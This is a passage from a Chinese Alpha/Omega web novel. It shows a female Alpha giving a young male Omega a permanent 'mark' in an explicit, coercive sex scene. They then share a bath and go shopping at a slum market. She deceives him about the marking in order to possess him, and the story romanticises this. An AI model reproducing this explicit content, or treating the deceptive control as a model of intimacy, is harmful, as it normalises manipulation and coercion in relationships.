简星沉看不到她的表情,只能毫无头绪地揣测她的意图,同时克制不住地缩起了肩膀。 他怕疼,经历过的痛楚从记忆里浮现,全身的肌肉都在提前预演痉挛。 然而,预想中被尖牙咬穿腺体的疼痛,迟迟没有降临。 江意衡的手贴着他的后颈往上抚过,指尖深入他的发间,穿过融化的冰雪和他渗出的汗,贴着他的后脑滑动。 那是一种让他头皮为之战栗的奇怪体验,他无法放松,只不由自主感到更加惶恐。 他所认识的江意衡不会像这样,手指揉过他的头发,又沿着他的额头向脸廓摸索。 她的指腹带来恰到好处的凉意,每一次触及他灼烧的肌肤,都好像在他心口的石头上又压下一个沉甸甸的砝码。 很快,她用双手捧起他的脸,目光在他的双眼之间来回扫动。 微微压低的眉睫下,目光锋利得几乎能将他的灵魂洞穿。 简星沉后知后觉地意识到,她在端详他。 他当然不知道,自己脸颊上泛起的酡红像微醺一样迷离。 也不知道,他因为呼吸急促而半张的柔软唇瓣,看起来像是无声邀请。 他被迫仰起头来,可视线所及,却只有江意衡眼底映出的自己。 冰凉指尖不请自来,挤进他的唇齿间,她似乎是在用手指描摹他的口腔。 他的舌尖本能地想把她的指尖推出去,可江意衡只是不断用指甲划过他口中湿软的内壁,近乎强硬地迫使他张开唇齿。 简星沉被搅得思绪一片错乱,受到刺激分泌出的涎水忍不住沿着嘴角向外渗出。 当他喘不过气想要吞咽的瞬间,江意衡的手指却忽然撤离。 他还以为,自己终于能有一刻喘息。 可在第一次用力呼吸的同时,一张微凉的唇瓣毫无防备地覆上他的,将他还未出口的呜咽声锁在喉咙里。 简星沉从不知道,像她这样冷淡的一个人,私底下却有这样恶劣的爱好。 掠夺一个人的唇齿,掠夺他本该拥有的空气,掠夺他出声的机会,甚至掠夺他的温度。 她没有限制住他的动作,没有禁锢住他的肢体,只不过是在他的唇上施加了一点点咬合的力度,他就好像被抽走了力气一样。 少年仍在喉咙深处发出含糊不清的呜咽,攀在她肩上的双手说不清是想推开她,还是想支撑自身。 他的每一丝每一毫举动,都只是在她的意识上无关痛痒地抓挠。 江意衡想让他安静。 她明明已经堵住了他的口,只好在牙关加重力气。 很快,她尝到了温热腥甜的血,弥漫其中的茉莉花香更是浓郁到她忍不住吮吸。 直到少年因为吃痛将指尖在她的肩头扣紧,她才近乎无情地离开他的唇瓣。 简星沉整个人脱力般倚靠在墙角,后背抵在床边。 他抬眼看她,好像在看着一个自己初次认识的人。 那神情里不止有不知所措,还有被肆意亲吻之后浮现的局促和惊惶。 可除此以外,他好像并没有注意到自己的唇上被咬出口子,渗出的血把伤口染成一朵酒红色的花。 江意衡什么也没说,只是曲起一条腿靠坐在床边,饶有兴致地看他会有什么反应。 少年缩在墙角,视线落在地面,慌乱地喘着气。 他没有抬头,像是畏惧与她对视那样。 直到唇上的血滴在地上,他才慌忙抬起手背擦拭。 过了好一会,他神情恍惚地用手扒住床架,手脚并用地爬回去,好像想要钻回被子下面,继续休息。 欲盖弥彰的逃离。 可他又能逃到哪里去。 江意衡偏过头笑了:“你凭什么觉得自己还能休息。” 她视线下移,唇角浮起一丝不屑:“就像这样休息?” 少年顿在原地。 那句话无疑是一记警铃,他分明也察觉到了身体的欲念,匆忙转过身,想要掩饰罪证。 但已经迟了。 “身体是很诚实的,不是吗?” 江意衡起身,身影伫在床前,像一道他避之不及的阴影,锁在他的视野余光中。 “你该庆幸,现在你还能保持一丝清醒。等你身体里的信息素再多一点、再浓一点,你就会彻底失去理智,被欲念操控。” 她弯起嘴角,抱起手臂:“你是想要清醒地看着自己被折磨,还是任由自己意识不清地被玩弄?” 他还有选择吗? 简星沉低垂着脖颈,近乎认命一般,颤着手指将发尾拂到一侧,把自己最脆弱的部分完全暴露在江意衡的目光下。 可他换来的,只是她更加冷漠的回应。 “要是这有用,上一次标记后,你根本就不会这么快复发。” 江意衡好像在用声音给他凌迟。 简星沉就这样保持着屈服的姿势,伏在她面前。 许久后,他颤着身体,抬起一双泛红的眼:“那我该怎么做?” 他没有在江意衡的脸上得到任何答案,思绪开始变得混沌时,忽然想起什么。 “如果临时标记不行,那……还有其他标记的方法吗?” “临时标记不行,终身标记可以。” 江意衡陈述得很平静。 无论是哪种标记,对Omega的约束都远远大于对Alpha的约束。 临时与终身标记的区别,只在于Alpha将信息素释放往何处。 一处是在脖颈。 而另一处…… 江意衡俯下视线,但目光所及,唯有他身上松垮厚实的衣服。 少年正怯怯抬起眉眼,水润潮湿的眼里盛满期待与不安。 “如果你想摆脱发情期,终身标记是最好的选择。” 江意衡看着他,指尖滑过他敏感的耳廓,那里红得好像能滴血,“你不会再像一条狗一样恳求我,我注入的信息素会在你的身体里持续作用。你那些发情的症状会变得轻微,甚至消失不见。” 仿佛枯涸的池塘嗅到一滴水汽,少年张开双手握住她的手,近乎喜不自胜:“我愿意,愿意被你终身标记。” 他完全不知道自己会受到什么影响。 江意衡看着他,默默地想。 要缓解他的症状,二次临时标记当然也可以。 虽然咬在尚未愈合的腺体上并不会让她感到愉悦,虽然他发情的症状显然超出平均水平,但临时标记对他的效果,也绝非她所宣称的那般无用。 他有想掩藏的东西,她也有自己的私心。 她要把他的信息素据为己有,终身标记是唯一途径。 终身标记对Omega不止是一种长期有效的安抚,更是一种强有力的单向束缚。 他会被她的信息素锁住,从此不再对任何Alpha的气味产生反应。 他会染上她的气息,从身到心完全成为她的附属品。 这是他自己要求的。 她不是没给过他机会,可他亲手摔碎了抑制剂,还把自己交到她手上。 那剩下的事情,也轮不到他反悔了。 “把衣服脱了。” 江意衡收回手掌,淡声要求。 少年懵然眨动双眼,泪水在眼角晃动,却迟迟没有下落。 他说他愿意,可他并不了解,终身标记意味着什么。 贫民窟的学校从没教过这些,但即便如此,他也很清楚,在这种情况下脱掉自己的衣服,无论是做什么,他都很难保住尊严。 可这是他亲口答应的。 他说他愿意。 直到她开口的瞬间,他才后知后觉地意识到,自己选的,是怎样一条路。 江意衡歪过头,笑意从容:“怎么,都这样了,还需要我帮你?” 简星沉眼睫轻颤,缓缓摇头。 他知道自己不会后悔,也没有后悔的资格。 他只是僵硬地交叉手臂,指尖触及毛衣下摆,沉默着把它向上卷起。 少年的衣服向来不合身,江意衡是知道的。 但她从没有一刻像现在这般清晰而切近地认识到,在这些臃肿宽大的衣服下,藏着怎样一副单薄易碎的身体。 常年缺少阳光滋养,加之营养不良,他的肌肤白得好像没有血色的瓷器。 巴掌大的脸垂着,乌黑柔软的头发将目光掩映。 抱在胸前的双臂微微颤抖,细小的绒毛在灯下轻轻战栗。 少年跪坐在床上,弓起的脊背上有一对微凸的肩胛骨,好像蝴蝶还未完全破除茧壳,翅翼仍拢在一处。 这样的身体坐落在泛着粉色的纤细足踝上,是如此脆弱,仿佛她只要稍微用一点力气,就能把他捏碎。 江意衡仔细地打量着名为“简星沉”的这件艺术品。 虽然答应要给他终身标记,但检查仍是有必要的。 她要确保他身上没有什么瑕疵,避免任何意外的惊喜。 少年的身体上,确实留有一些大小不一的旧伤,但已不再明显。 如今最显眼的,也就只有他颈后被她咬出的齿痕。 室内明明维持在即便赤身也不会冷的温度,他却因为难堪蜷缩着身体。 江意衡别无他法,只好一点点把他打开。 简星沉能感觉到,她的膝盖像锋刃般撬开他的防备,而她的指尖同时在他身上游走,所到之处,皆是火烧火燎。 他不知道自己的肌肤正染上一层绯红,像煮熟的鸽子肉,他本能地撇开目光,试图让自己不那么难为情。 可被她禁锢在双臂之间时,他实在无处可逃,唯有把脸转到一侧。 江意衡微微不悦地眯起眼眸。 她当然知道他在害羞,但他这些下意识的反应,俨然是她在强迫他似的。 她投下的阴影缓缓落下,笼罩在他修长的身躯上。 很快,简星沉就克制不住地倒吸一口气。 他觉得酸胀难耐,但这与受伤的疼痛不同。 突如其来的变化令他不知所措,他本能地仰起头,想要喘息片刻。 可在与江意衡视线对上的瞬间,眼泪就涌了出来。 但从他身体中涌出的,不只是眼泪而已。 江意衡再清楚不过,少年分化成Omega的身体早已做好准备,因此她并不觉得寸步难行。 可在心理上,他还有很长的路要走。 他越是排斥这种陌生的感觉,身体就会本能地收得更紧。 她无奈地抿着唇,伸手描过他紧蹙的眉眼,几乎是哄劝般让他别太紧张,顺势停下,等他适应。 “还难受?” 少年抬手抹去自己的眼泪,咬着唇,用力点头。 等他脸上慢慢恢复了一点血色,江意衡这才松了口气。 可她不过只是又向前进了一寸,就把他的哭腔顶出来了。 简星沉难受得要命,他不知道自己还能做什么,只能任由眼泪滑落。 偏偏他又不敢发出声音,中途就咬住自己的手背,试图堵住那些细碎的呜咽。 江意衡不喜欢他遮住脸,那会让她觉得,他并不坦诚。 她拨开他的手,他不得不抿紧唇瓣,手指死死抓住床单一角。 少年仍在哭。 一个明明那么能忍痛的人,到了这种时候,却好像只能通过哭来纾解。 随着掠夺愈发急切,他甚至,连哭腔都不再完整。 所幸,Omega的本能并不只是说说而已。 即便是再陌生的事情,熬过最初的不适后,欣快感便会悄然显现。 江意衡看得清楚,少年哭得支离破碎的眼角正慢慢浮现潮红。 那红晕仿佛渗进他的眼里,让他清澈的目光都变得朦胧。 如果他是一棵纤细的小树,那么此刻,这棵树正在对她一点点打开枝叶。 只需最轻微的触碰,他抿住的唇瓣就会有片刻松开,将喘息的片段逸出。 每到这时,他又会愣住,因为察觉到自己的本能反应而感到难堪。 江意衡总会适时放低身形,故意凑到他耳边,任由风周而复始,不断将他层层叠叠的叶片掀起又落下。 同时还叮嘱他,别总是当个哑巴。 等他几乎忍不住要哭出声时,她却偏偏恶作剧般啃咬他柔软的唇瓣,把那些混乱的声息堵在他的唇齿间。 她一点点地试探,一点点地迂回婉转,她从不知道自己原来是一个这么有耐心的人,花费了足足一个小时,才抵达标记的终点。 与此同时,她看到少年脸上的表情一下子凝滞,糅杂着痛苦和快慰的目光盈满他的眼眶。 如同第一次完全舒展枝叶,他迎接的是滚烫炽热的日光,将他燃烧透彻,一点一点填满。 他被温暖裹挟,被余烬淹没,被本能禁锢。 无法动弹,却依然心甘情愿。 江意衡抱着他,在他身后躺下。 简星沉费劲地扭过头,透过被泪水打湿的睫毛,看到她合上眼睛,鼻翼微张,长舒一口气,一副适足神情。 只是怔怔望着这幅画面,难以言喻的满足感便浮上心头。 他第一次对标记产生了近乎崇拜的情绪。 江意衡神色安然,俨然已经结束掠夺。 但他的身体却清楚地告诉他,她还没有。 照耀着他的日光明明炽烈到仿佛要溢出,可不知为何,唯一能让这股热度冷却的出口,却没有得到丝毫纾解。 那些炙热无处宣泄,只能困在名为“简星沉”的容器中,越积越满,几乎将他吞没。 她根本就没放开他,反而将他禁锢得更深、更彻底。 简星沉试图翻身,想问她怎么了。 可他的身体只不过微微一动,那种本已适应的存在感又重新变得鲜明。 束缚感由内而外锁住他,他只能吃力地张口喘息,难以回归平静。 江意衡的一只手绕过他的脖颈,搭在他的胸口。 另一只手则绕过他的腰,在他的小腹上,一下一下地轻触。 少年的身子本就纤细,腹部也只有一层薄薄的皮肉。 她用指尖触碰过的地方,一路燃起细微战栗,麻与痒沿着皮肤蔓延。 他怕痒,腹部更是不曾被这样细致地触碰,正想求她停下,手腕却被扣住。 下一秒,她的手掌近乎不怀好意地落在他的小腹中央,轻轻一按。 “能感觉到吗?” 简星沉一头雾水,却又隐隐觉得有什么不对。 直到江意衡将手掌贴在他的小腹上,他才察觉,原本平坦的腹部,居然微微隆起了一点。 “我,我怎么了?” 话音刚落,他感觉到江意衡轻轻动了一下。 那处微隆的肚皮,也随之起伏了一下。 简星沉瞬间明白了她的意图。 羞与惧一并涌上心头,他简直无地自容,只能拼命把脑袋埋进肩窝,还吐出一串磕磕绊绊的字眼:“你,你怎么……还,还隔着……让我摸……” 江意衡松开手指,双手从背后环住他的腰,呼吸逐渐平稳,与先前折腾他的时候,完全不像是一个人。 简星沉能感觉到,她在他的肩胛骨边缘轻轻啮着,像一只餍足的兽,正在亲昵地留下属于自己的气息。 心脏跳得很快,被她抱住的感觉却很安全。 只是两个人就这么躺在床上,一动不动,一声不吭。 他偏偏又不困,意识清醒得几乎有些局促。 冷不防地,他却听到江意衡对他耳语:“给我讲个故事吧。” 简星沉以为她在开玩笑:“你要我,像这样,讲故事给你听?” “不行吗?” 江意衡轻哼一声,鼻息落在他的背上,又不怀好意地在他身上轻咬一口。 直到他微微缩起肩膀,她才又靠回他温暖的躯体,叹了口气:“我从四岁之后,就再也没听过别人给我讲故事了。” 第17章 反正都是我的味道…… 第十七章 简星沉看不到她脸上的表情,但能感觉到,她的额头靠近他的后背。 这让他微微讶异。 他所知道的江意衡,会扣住他的手腕,会用指尖抬起他的下巴,却鲜少会有这样亲近他的时候。 或许是因为终身标记,让她对他也有了那么一点点依赖。 一种痒痒的、暖暖的感觉,在他心底缓缓积蓄。 那是与身体近乎同步的充实感,带着微微酸胀,让他在长达一个多小时的煎熬之后,终于能够舒展笑容。 “你想听什么?” “讲故事的人是你,为什么问我。”江意衡的鼻子在他的肩胛骨上磨了磨。 简星沉微微蹙眉,陷入思索。 他与姥姥相依为命的那几年,每一个睡前故事,都是姥姥讲给他听的。 可是,江意衡又会喜欢什么样的故事呢? 他斟酌片刻,试着开口:“从前有位公主,出生时就受到女巫诅咒,注定会被纺锤刺破手指,长睡不醒……” “然后等着王子救她?” 江意衡打断他的话,“我不喜欢这种。” 简星沉又想了想。 “从前有一只小鸭子,因为长得奇怪,从小就被同类嘲笑……” “它其实是天鹅,不是鸭子。”江意衡一句话就结束了故事。 简星沉一顿:“你不是,想听我说故事吗?” 江意衡的指尖懒洋洋地滑过他的锁骨:“我不喜欢鸭子,太吵了。” 接连遭受打击,简星沉有些挫败:“是你让我说故事的,你怎么还挑啊。” “我本来就是这么挑剔。”江意衡故意动了动,直到他因为腰眼发麻倒吸一口冷气。 她把下巴枕在他轻颤不止的肩头上:“就没别的了?” 体内悄然漾开的涟漪,让少年涨红了脸。 “可我喜欢丑小鸭的故事。” 他低声咕哝完,又犹豫着开口:“从前有一位冰雪女王,住在天寒地冻的极地,还用魔法造了一座冰雪宫殿……” 少年声音渐止。 江意衡轻掐他的肩膀:“怎么不继续了?” “我还以为你不喜欢。”简星沉很意外,江意衡这次居然有了兴趣。 “你没听过这个故事吗?” “当然听过,这毕竟是家喻户晓的童话。” 江意衡顿了顿,“我以前,总以为冰雪女王是真的。” “为什么?” 少年好奇地问,“她可是有一座晶莹剔透的冰雪宫殿,世界上怎么会有那样的宫殿。” 怎么会没有呢,江意衡默默想着。 寒冷的从来就不只是极地的冰雪,越是漂亮的宫殿,才越会迷惑人。 它或许晶莹剔透,却也毫无温度。 “我还等着听呢。” 简星沉“噢”了一声。 “冰雪女王讨厌跟人打交道,没人知道她长什么样子。可有一天,一只雪白的小海雀无意中闯入她的领地,还遇到了一个蓝眼睛的女孩。” 少年所描述的故事走向,与江意衡所知的任何版本都不一样。 她不由提起精神,指尖刮了刮他的肩膀:“之后呢?” “那是小海雀在冰天雪地里见到的第一个人。它望着晶莹剔透的宫殿,羡慕地问她,‘你住在这里,一定很开心吧?’ “女孩生起火来。她说,‘我和家人吵了一架,离家出走,在外面迷了路,是冰雪女王收留了我。’ “她还说,‘冰雪宫殿里有吃不完的美食,穿不完的华服,也没有人在我面前吵架。可我在这里,没有真正交心的朋友。’” 简星沉察觉到,身后的动静停了下来。 “你还在听吗?” 江意衡没有回答,只是把手在他身上环得更紧了。 她确实在听,却也更加沉默。 女孩的话语在心中回荡,那些细节拼凑出似曾相识的画面,让她连呼吸都隐隐发闷。 江意衡忽然问他:“那个女孩为什么要生火?” “可能是怕冷吧。” “她都住进冰雪宫殿了,怎么会怕冷。” “也是。” 少年很自然地接受她的质疑,顺着她的逻辑圆了下去,“那么大的宫殿,空荡荡的,她也很孤单。生火,只是为了让小海雀多陪她说说话。” 他的声音温和,仿佛有一种魔力,吸引江意衡安静地听下去。 “小海雀被火烤得暖洋洋的,每一片羽毛都蓬松起来。它伸出翅膀,拍着自己的胸脯说,‘我愿意陪你玩。’ “女孩很高兴,但她也很担心。她说,‘冰雪女王不许我跟外人接触,一旦女王发现,就会把那些人都冻成冰雕。’说完,她指着周围那些形态各异的冰雕,给小海雀看。” “她还挺会吓唬人。” 江意衡轻笑,“小海雀一定会飞走。不然,它迟早也会变成一座冰雕。” 她太熟悉这种情节走向了。 伏笔从一开始就已经埋下,小海雀的闯入只是意外,注定不会圆满收场。 “小海雀当然会害怕,也会吓得用翅膀捂住嘴巴。” 少年否认了她的猜测,“但它不会逃走的。” “为什么?” “因为它是一只胆大包天的小海雀。” 少年语气坚定,“它一定会鼓起勇气飞到女孩的肩膀上,再用翅膀轻轻拍着她的肩膀,安慰她,‘没关系,反正我飞得快。如果女王来了,我就先躲起来,等到她离开,我再回来找你。’” 江意衡轻嗤一声:“这是你才编的?” “你不喜欢吗?” “我喜欢有什么用。” 江意衡抬起手指,在他的肩胛骨上点了点,“你怎么不问问小海雀,接不接受你的安排。” 可他就是那只小海雀啊。 这只笨拙的小鸟,从一开始,就是他为了让江意衡听下去,才比照自己捏出的形象。 简星沉抿了抿唇。 身后的气息渐渐变缓,江意衡没再说话。 他转过头,却看到她已经合上双眼,神色安详。 真没想到。 她居然像个孩子一样,听着他说的故事,就这么睡着了。 * 阳光穿过窗帘的缝隙,描摹出少年肩胛骨的轮廓。 这是江意衡睁开眼后,看到的第一幅画面,也是她入睡前,朦胧中最后看见的画面。 只不过,当时落在少年背上的,是清冷皎洁的月色。 江意衡撑起脑袋,几乎要怀疑,自己是不是产生了什么幻觉。 她习惯独自入睡,本不会容忍身边躺着另一个人。 可现在,她却像要宣誓所有权那样,将他锁在怀里。 江意衡微动指尖,想松开箍在他腰间的手。 可怀中的躯体温暖而安稳,胸腔随着呼吸微微起伏,带来一种难以言喻的平静。 最终,她只是在他腰侧摩挲了一下,把手臂收得更紧。 少年还未醒。 他背朝她侧卧的姿势与昨晚并无二致,身上的每一处细节,都与她的记忆分毫不差地重合。 江意衡忍不住抬手,指尖沿着他身体的弧度,从他的肩膀一路向下滑去。 她尤其钟爱他腰侧到胯部的线条,与她的掌心贴合得近乎浑然天成,仿佛生来就是为了被她扣在手中。 少年后颈散发出的气息,已经烙上她的印记。 茉莉幽香浮动,带着一缕单宁涩味,却又透出酒的醇厚。 原来,沾上红酒的茉莉,是这种味道。 江意衡把鼻子埋在他的颈窝,贪婪地吸了一口。 许是她的小动作刺激到他,少年身上一颤,旋即把头闷在臂弯打了个喷嚏,还带动她留在他身中的部分,一阵酥麻。 “你冷吗?”江意衡斜过视线,架子上的恒温力场生成仪分明还在运转。 “室温可是有二十五度,就算你□□地睡觉,也不会着凉。” 简星沉缩着肩膀嘟囔:“那是因为,你偷偷摸我。我都憋了一刻钟了,难道还不可以觉得痒吗?” 江意衡惊讶地眨眼:“你刚才醒着?” 简星沉更委屈了。 容纳着那样炽热的存在,他怎么可能睡好觉。 “我,我就没睡着。”他吸了吸鼻子,“你睡得也太沉了,我动都动不了,想给自己盖上被子都不行。” “谁让你昨天那样求我。” 江意衡咬了咬他的耳朵,“反正标记已经完成,我不难为你。” 她离开的瞬间,浓烈的气息顿时在狭小的屋里弥漫开来。 少年的信息素自然也在其中,但更多的却是腥膻,从封闭的狭小空间突然暴露出来,存在感令人无法忽略。 始作俑者本人倒是不太介意。 江意衡安然坐起,用手指为自己理了理头发:“你不是要盖被子吗?现在可以盖了。” 简星沉打量着满眼狼藉,扯过被角,心不在焉地遮住自己的脸。 他忽然很沮丧:“我就这么一条床单。如果现在不洗,晚上就没法躺床睡了。” “就只洗床单?”江意衡瞄了他一眼。 简星沉低头看了看自己,又看了看她。 他们彼此身上也有痕迹,尤其是他,全身挂彩,一点也不比这张床好到哪里去。 他更加沮丧:“那还是先洗身上吧。” 热汽蒸腾,狭小的泡澡桶难得同时容下两人。 少年背靠桶壁,心虚地低着头:“跟我挤在一起,你不怕沾上味道吗?” “有什么关系。” 江意衡坦然张开手臂架在桶沿上,“反正都是我的味道。” 少年一张薄脸涨得通红。 他一面把身子往水里沉,一面转头抱怨:“我,我不要跟你泡一桶水了。” 江意衡伸指敲了敲桶沿:“你想出去,我没意见。” 少年一副吃了哑巴亏的表情,双手遮在身前,忿忿转身要往外爬,屁股上还留着被她掐出的红印。 “你不是最讨厌浪费吗?” 水位一落,江意衡又叫住他,“两个人一起,多省水。” 少年倔强道:“我,我就奢侈这么一次。” 江意衡拽住他的手,等他滑下来,就扣住他的脸,一阵暴风狂亲。 “还走?” 少年吓得把头摇成拨浪鼓。 被她啃过的唇瓣好像忘了该怎么合起,热汽熏蒸下的面容却漂亮极了,一双眼睛更是湿润得好像能滴水。 江意衡想着,不会有比他更温顺的小东西了。 就像那只懵懂不知世故的小海雀,扑着小小的翅膀,一个劲往危险的冰雪宫殿靠近。 她伸手揉过他的湿发,俯身靠近,任由水花稀里哗啦溅了一地。 泡完澡,已是两小时后。 “水泼了一地,还续过那么多次,哪里省了。” 简星沉一边擦头发,一边对着地上的水渍心疼水费。 一把梳子忽然递到他眼前。 江意衡摆着手里的木梳,歪过头,晃了晃半干的头发。 少年像是被按下静音键一样,顺从地接过梳子,为她梳头。 她已经换回他的旧衣,身上除了皂香,还隐约透出一种特别的香气。 深沉又醇厚,带着一丝辛辣。 既有木头的温暖,又有烟熏般的微微涩意。 简星沉在被她终身标记的时候,隐约闻到同样的气息。 那时他根本无暇细究,如今愈发肯定,这就是江意衡的信息素。 手上为她梳着头,他却忍不住动了动鼻子,一点一点嗅闻。 他的这点小心思,没有逃过江意衡的眼睛。 “在干什么?像小狗一样,偷偷摸摸的。” 简星沉红着脸替自己解释:“凭什么你可以偷偷摸我,我就闻一下,都不行吗?” “那你闻就是了,你闻一次,就让我咬一口。至于咬哪儿……” 她斜下视线,从他身上掠过,“那得看我心情。” 简星沉缩着脖子,不吭声了。 昨天晚上,江意衡可是在他身上留了好几处齿痕,不只是脖子,还有颈窝、胸口、小腹、腰窝…… 本以为她只会咬他的腺体和嘴唇,谁知,她居然有这种给人到处盖章的爱好。 洗过的床单和被套挂在室内,像两道船帆横贯小屋。 他们做什么都不方便,索性靠在窗边发了会呆。 “上次卖你衣服的老板在哪儿?” 江意衡忽然拽了拽他的袖子,“我帮你挑点新衣服。” 屋外白雪皑皑,寒风凛冽。 江意衡里外叠穿了好几层,发丝裹在方巾里,身上还披着那条颜色鲜艳的旧毯子。 她坐在三轮车的车厢里,看着少年卖力地踩着踏板,载着她轧过一条覆满冰雪的小路,晃晃悠悠地前行。 冬日的阳光从空中投下,江意衡不得不抬起手掌,遮住过于刺目的光芒。 她从未像现在这样,贪恋眼前的片刻安宁,却也比任何时候都清楚,她能做自己而非王储的时间,只有两天了。 第18章 你媳妇儿? 这是简星沉活了十九年来,最开心的一天。 他骑着那辆姥姥曾用来载过他的车,载着自己喜欢的人,迎着阳光穿过冰雪,希望时间能停留在这一刻。 视线尽头,是一大片铺开的蓝色塑料布。 张念春正弯着腰,整理上面的货物。 简星沉远远挥手:“张婶,是我!” 张念春只是好奇地望着,少年背后有一道花花绿绿的影子晃来晃去。 虽然裹成粽子,却露出个脑袋。 不像他平日里会载着的一车废品,倒好像是个人。 “小简,今天带谁来了?” 张念春眼看三轮车在摊前停稳,坐在车厢里的女子轮廓变得清晰。 江意衡被严严实实包裹在一张艳丽得过分的格纹毯子里,头上戴着一条对折的碎花方巾,发丝乌亮服帖,还被仔细地编成一根麻花辫。 她这身棉衣比少年身上的厚实了一整圈,看来,简星沉是把全部家当都拿来给她保暖了。 “这就是你提过的,”张念春福至心灵,“你媳妇儿?” 简星沉一张脸涨得通红,他拼命挥动双手,压低声音,忐忑劝道:“张婶,你别胡说,她会不高兴的。” “噢。”张念春若有所思,小声追问,“还没扯证,那就是你女朋友?” 她探着头,想仔细瞧瞧,这个被少年如此看重的人,到底是什么模样。 方才简星沉与张念春的对话,江意衡一个字都没落下。 她虽然觉得好笑,却没打算纠正什么。 总归外人想说什么,都与她无关。 她起身,毯子垂到膝下。 在少年搀扶下,她纵身跳到地上,走向摆满衣服的摊前。 江意衡坐着的时候并不明显,她一站起来,张念春才发现,她比自己高出一个头。 简星沉在贫民窟里已经算是不错的身高了,但江意衡站在瘦瘦高高的少年身边,明摆着比他还要高出几寸。 女孩子能长到这个身高,在张念春的认知里,是很不寻常的事情。 她的八卦之心蠢蠢欲动:“小简,你媳……女朋友个头还挺高的。你从哪找来这么出挑的姑娘?” “只是碰巧而已。” 简星沉红着脸摸了摸自己的发顶,杵在原地,一副无所适从的样子。 江意衡却已上前,微微俯身打量起摊上的衣服。 “这个帮我拿一件。”她指着一件白衬衫,“是给他的。” 张念春拾起生意人的本分,笑容满面地提起衬衫,在江意衡面前抖开:“你眼光真好,这可是中心区正时兴的款式。” 江意衡微微一笑,也不戳破,只想听她会怎么说:“中心区流行这个?” 张念春自信满满:“我进货的时候听说了,大街小巷的年轻人都爱穿这种,领口垂下一对丝带的高级款式。这件虽然不是蚕丝,但料子摸着舒服,仿得也像。价格呢,只要这么一点。” 她伸出一只手,比了个三。 “要三十啊。”简星沉搓了搓自己扁平的口袋。 这几日,他没怎么捡废品,自然也没怎么换到钱,掏出仅剩的钱数了数,勉强还够。 江意衡笑了笑,对价格并不在意:“还有那边的蓝毛衣和绿毛衣,也帮我各拿一件。” “这两种也都是现在顶时髦的颜色,穿着别提有多洋气。这小子有你帮他挑衣服,真是有福气。” 张念春笑呵呵地拎起一件湖蓝色高领和一件水绿色圆领毛衣,前前后后都给她瞧了瞧,“每件四十五,搭配刚才这件衬衫刚刚好。” 江意衡还想再挑一件,简星沉拉住她的手,轻声腼腆道:“衬衫,我已经有一件白的了。毛衣,我怕太鲜艳了不好搭。” 他的衣服不多,一大半还是姥姥以前穿过的。 江意衡知道他不是不想要新衣服,而是怕买贵了。 她摸了摸少年柔软的鬓发,几乎是在哄慰他:“白衬衫最好穿,你那件都泛黄了。你肤色够浅,穿鲜艳的颜色绰绰有余。” “家里还有之前买的女式毛衣,都没穿过几次呢。” 少年低着头,手指揉了揉外套下摆的拉绳。 “怕什么,我不会让你吃亏的。” 江意衡轻轻捏过他的脸,随即转身,从身上摸出两张折好的纸币,“三件原价是一百二,这些应该够。” 两张纸币都很新,还泛着一股油墨清香,不是简星沉平日里用废品换来的那些,是她自己的。 外面那张是一百的面额,里面那张,隐约像是五十面额的颜色,但简星沉不敢确定。 他拉住她的衣角,问得很谨慎:“你的钱,不留着自己用吗?” 江意衡笑着摇摇头。 她递出纸币,干脆利落地取过三件新衣,在少年懵然的目光中,一件件在他身前比划。 “丫头,你给多了。” 张念春清点完,腆着脸,从兜里翻出一把零钱,“多出的三十,我不能收。” 江意衡看都没看一眼:“不用找了。” 张念春做生意二十多年,还是第一次见到像她这么出手大方的年轻人,一时人都懵了。 简星沉更是不安。 他抬手挡住嘴巴,对江意衡说悄悄话:“你不是怕我吃亏,要帮我讲价吗?你这样,自己不吃亏吗?” “衣服好看就行了。” 她把新衣塞到他怀里,又朝张念春摆手,“多出的部分就当小费。他买件衣服不容易,以后,也别难为他。” 张念春并不熟悉小费的概念,但三十块在贫民窟不是小钱,能管她一星期的伙食。 她被江意衡说得一阵心虚,不想在年轻人面前丢了脸,说什么都要把多出的钱塞回去。 江意衡不接,张念春又试图往简星沉手里塞钱,还念叨着:“我做小本买卖的,虽然要赚钱,但也不能白白赚你的钱。” “那就顺路买点别的。” 江意衡扫视一圈,微微思忖,“你这儿,卖床单吗?” 空气忽然变得安静,能听到后方灌木丛里鸦雀钻过的窸窣声。 张念春看着她,丈二和尚摸不着头脑,目光在她和简星沉之间晃了晃,突然一拍脑袋:“有是有,但不多,你等我去找找。你想要什么样的?现在用的是哪种,我好帮你参谋参谋。” 江意衡看着简星沉,陷入思索。 她其实不知道他的床单是多少支数,也不知道他用了多久,只记得手感粗粝,远不比少年情动时渗出薄汗的肌肤细滑,生怕把他这一身皮肉给磨糙了。 “要颜色浅一点,支数高一点,手感滑一点的。” 江意衡提要求时,没在看张念春,只一门心思帮着简星沉,把他松开的领口紧了紧,“我想让他,睡得舒服点。” “可我已经洗了床单,晾到晚上,总该干了。” 少年由着她拨弄他的衣领,小扇子一样的睫毛忽闪忽闪,“真的要买第二条吗?” 江意衡轻戳他的眼皮,趁他眨眼躲闪的时候,又在他的鼻梁上刮了刮。 “有了换洗的床单,就不用总是等另一条晾干,什么时候想睡都可以。” 她话里的暗示意味明显,简星沉想起昨天晚上的经历,耳朵红了一片,两只手缩在袖子里互相捏了捏,最后听话地点头嗯了一声。 张念春在自己的蛇皮袋子里翻了好一会,总算翻出一条符合江意衡要求的床单,没想到一扭头,就撞上两个人亲昵的样子。 看到简星沉在江意衡面前,竟然比别人家的媳妇还要像小媳妇,她不禁啧啧称奇。 江意衡拈起新床单的一角,仔细搓了搓。 张念春拿出的这一条有四十支,虽然远不比那些真丝床品手感细腻,但比起少年屋里那条,已经舒服了不少。 两人添置完新衣新床品,又去隔壁的露天菜市场买了一串腊肉,还有江意衡上次没能趁热品尝的烤红薯。 烫乎乎的,冒着馨甜的热汽,还流着蜜糖一样的浆。 像少年本人一样可口。 简星沉难得带她出来透气,明明身上还到处泛着酸痛,却依然开开心心骑着祖传的三轮车,载着她四处溜达。 到了傍晚,他们趴在湖边的草丛里,一起看冬天的水鸟。 无论是白头鹎、赤颈鸭还是鸿雁,江意衡总能精准指出每一种鸟儿,三言两语描述出它的习性。 简星沉由衷钦佩:“你知道好多我不知道的事。我经常路过这里,从来喊不出它们的名字。” “那不过是因为,我以前经常随着父亲打猎。” 江意衡解释的时候,脸上神情却有片刻消沉,“他要求我记住见过的每一种飞禽,如果认错,还要受罚。” 简星沉隐约觉得,他不该问她这件事。 她好像并不喜欢提及自己的父亲,言语里透着股挥之不去的冷淡。 只言片语间,他无从断定江意衡的父亲究竟是什么样的人。 